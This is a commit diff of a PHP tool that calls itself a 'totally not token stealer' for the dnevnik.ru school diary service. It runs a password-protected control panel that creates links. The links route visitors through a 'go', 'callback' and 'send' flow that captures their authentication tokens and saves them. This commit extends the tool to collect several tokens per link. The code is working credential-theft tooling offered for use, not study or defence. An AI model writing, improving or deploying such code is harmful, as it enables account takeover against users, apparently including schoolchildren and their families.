added multiple tokens catch
This commit is contained in:
+27
-12
@@ -2,7 +2,7 @@
|
||||
// totally not token stealer
|
||||
// for dnevnik.ru
|
||||
// =========================
|
||||
// by ktkz for tmb project
|
||||
// by ktkz
|
||||
// 2026
|
||||
|
||||
// go to .php?control to open control panel
|
||||
@@ -32,8 +32,17 @@ function CONTROL_PAGE(string $data)
|
||||
if (!file_exists(DATA_FILE_PATH)) {
|
||||
file_put_contents(
|
||||
DATA_FILE_PATH,
|
||||
'<?php // { "name": "tnts", "version": 1, "data": [] }',
|
||||
'<?php // { "name": "tnts", "version": 2, "data": [] }',
|
||||
);
|
||||
} else {
|
||||
$config = readConfig(true);
|
||||
// migrate config to v2
|
||||
if ($config['version'] > 2) {
|
||||
for ($i = 0; $i < count($config['data']); $i++) {
|
||||
$config['data'][$i]['tokens'] = $config['data'][$i]['token'] !== null ? [$config['data'][$i]['token']] : [];
|
||||
unset($config['data'][$i]['token']);
|
||||
}
|
||||
}
|
||||
}
|
||||
// ROUTER
|
||||
function path(string $p)
|
||||
@@ -41,6 +50,7 @@ function path(string $p)
|
||||
return count($_GET) > 0 && array_keys($_GET)[0] == $p;
|
||||
}
|
||||
|
||||
// open control panel
|
||||
if (path("control")) {
|
||||
if (!isset($_GET["l"]) || $_GET["l"] == "") {
|
||||
echo LOGIN_PAGE("{}");
|
||||
@@ -61,14 +71,14 @@ if (path("control")) {
|
||||
json_encode([
|
||||
"password" => $_GET["l"],
|
||||
"data" => $config,
|
||||
"error" => $error,
|
||||
"error" => $error,
|
||||
]),
|
||||
);
|
||||
exit();
|
||||
}
|
||||
}
|
||||
|
||||
function readConfig()
|
||||
function readConfig(bool $fullConfig = false)
|
||||
{
|
||||
$_ = json_decode(
|
||||
str_replace("<?php // ", "", file_get_contents(DATA_FILE_PATH)),
|
||||
@@ -77,12 +87,12 @@ function readConfig()
|
||||
if ($_["name"] != "tnts" || !isset($_["data"])) {
|
||||
exit();
|
||||
}
|
||||
return $_["data"];
|
||||
return $fullConfig ? $_ : $_["data"];
|
||||
}
|
||||
|
||||
function saveConfig(array $config)
|
||||
{
|
||||
$_ = ["name" => "tnts", "version" => 1, "data" => $config];
|
||||
$_ = ["name" => "tnts", "version" => 2, "data" => $config];
|
||||
file_put_contents(DATA_FILE_PATH, "<?php // " . json_encode($_));
|
||||
}
|
||||
// config type
|
||||
@@ -91,12 +101,13 @@ function saveConfig(array $config)
|
||||
// "name": string,
|
||||
// "url": string,
|
||||
// "comment": string?,
|
||||
// "token": string?
|
||||
// "tokens": string[]
|
||||
// }
|
||||
// }
|
||||
//
|
||||
// define status by token presence
|
||||
|
||||
// create link
|
||||
if (
|
||||
isset($_GET["do"]) &&
|
||||
$_GET["do"] === "create" &&
|
||||
@@ -106,7 +117,6 @@ if (
|
||||
if (!isset($_GET["l"]) || $_GET["l"] == "" || $_GET["l"] != PANEL_PASSWORD) {
|
||||
exit();
|
||||
}
|
||||
// create link
|
||||
$url = $_GET["url"];
|
||||
$name = $_GET["name"];
|
||||
$comment = $_GET["comment"] ?? null;
|
||||
@@ -135,7 +145,7 @@ if (
|
||||
"name" => $name,
|
||||
"url" => $url,
|
||||
"comment" => $comment,
|
||||
"token" => null,
|
||||
"tokens" => [],
|
||||
];
|
||||
|
||||
saveConfig($config);
|
||||
@@ -180,6 +190,8 @@ function getBaseUrl(): string
|
||||
return $scheme . "://" . $host . $script;
|
||||
}
|
||||
|
||||
// step 1
|
||||
// get token and return back
|
||||
if (isset($_GET["go"])) {
|
||||
$config = readConfig();
|
||||
$matches = array_values(
|
||||
@@ -201,11 +213,12 @@ if (path("info")) {
|
||||
header("Content-type: application/json");
|
||||
echo json_encode([
|
||||
"name" => "totally not token stealer",
|
||||
"version" => "1.0.0",
|
||||
"version" => "1.1.0",
|
||||
"author" => "ktkz",
|
||||
]);
|
||||
}
|
||||
|
||||
// step 2
|
||||
// send save page and redirect to destination
|
||||
if (path("callback") && isset($_GET["name"])) {
|
||||
$base = parse_url($_SERVER["REQUEST_URI"], PHP_URL_PATH);
|
||||
$config = readConfig();
|
||||
@@ -226,6 +239,8 @@ if (path("callback") && isset($_GET["name"])) {
|
||||
exit();
|
||||
}
|
||||
|
||||
// step 2.1
|
||||
// save
|
||||
if (path("send") && isset($_GET["name"]) && isset($_GET["token"])) {
|
||||
$config = readConfig();
|
||||
$matches = array_values(
|
||||
@@ -238,6 +253,6 @@ if (path("send") && isset($_GET["name"]) && isset($_GET["token"])) {
|
||||
exit();
|
||||
}
|
||||
|
||||
$config[array_search($matches[0], $config)]["token"] = $_GET["token"];
|
||||
array_push($config[array_search($matches[0], $config)]["tokens"], $_GET["token"]);
|
||||
saveConfig($config);
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user